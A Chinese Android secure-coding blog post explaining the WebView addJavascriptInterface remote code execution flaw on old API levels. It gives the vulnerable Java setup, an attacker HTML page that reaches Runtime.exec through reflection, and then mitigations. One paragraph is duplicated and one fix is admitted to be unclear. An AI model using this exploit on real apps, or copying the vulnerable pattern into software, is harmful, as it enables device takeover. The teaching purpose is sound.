【Android安全编码】犀渠玉剑良家子,白马金羁侠少年。这篇文章主要讲述Android安全编码相关的知识,希望能为你提供帮助。
- WebView远程代码执行
- 在API16(android 4.2 )及之前的系统上,如果使用WebView.addjavascriptInterface方法来实现通过javaScript调用应用本地java接口时,由于系统没有对注册的Java类方法调用做任何限制,导致攻击者可以通过使用Java反射API调用该漏洞来执行任意java对象的方法,从而达到攻击的目的。在JavaScript中注入java对象injectedObject的漏洞代码如下:
WebView webView = new WebView(this); webView.getSettings().setJavaScriptEnabled(true); webView.addJavascriptInterface(this,"injectedObject"); webView.loadUrl("http://www.asce1885.com/index.html");
- 攻击者html页面如下,可以获得getRuntime方法,从而执行一系列shell命令,为所欲为:
< !DOCTYPE html> < html lang="en"> < head> < meta charset="UTF-8"> < meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/> < script type="text/javascript"> function execute(cmdArgs) { return injectedObject.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); } < /script> < title> Title< /title> < /head> < body> < /body> < /html>
- 在API16(android 4.2 )及之前的系统上,如果使用WebView.addjavascriptInterface方法来实现通过javaScript调用应用本地java接口时,由于系统没有对注册的Java类方法调用做任何限制,导致攻击者可以通过使用Java反射API调用该漏洞来执行任意java对象的方法,从而达到攻击的目的。在JavaScript中注入java对象injectedObject的漏洞代码如下:
- 该漏洞的解决方案如下:
- api> 16 .android给出的解决方案 在Java类的方法上使用@JavascriptInterface注解
- api< =16 强烈建议不要再使用addJavascriptInterface接口,转而使用safe-java-js-webview-bridge这个函数库
- 移除Android系统内部的如下默认接口(这个搞不明白)
推荐阅读
- Android_(消息提示)多种使用Toast的消息提示
- 五步打造APP节日主题设计(以Lofter新年图标设计为例)
- 事件(Application Event)
- CS294-112 深度强化学习 秋季学期(伯克利)NO.20 Guest lecture: John Schulman (PPO and Applications)
- android Studio 二维码扫一扫 使用精简过的zxing
- 学编程,学java还是大数据android(平均月薪23k以上告诉你方向)
- Android(制作聊天气泡点9图)
- 混合模式APP开发优势——集中管理
- Android中SharedPerforences的简单使用示例--Android基础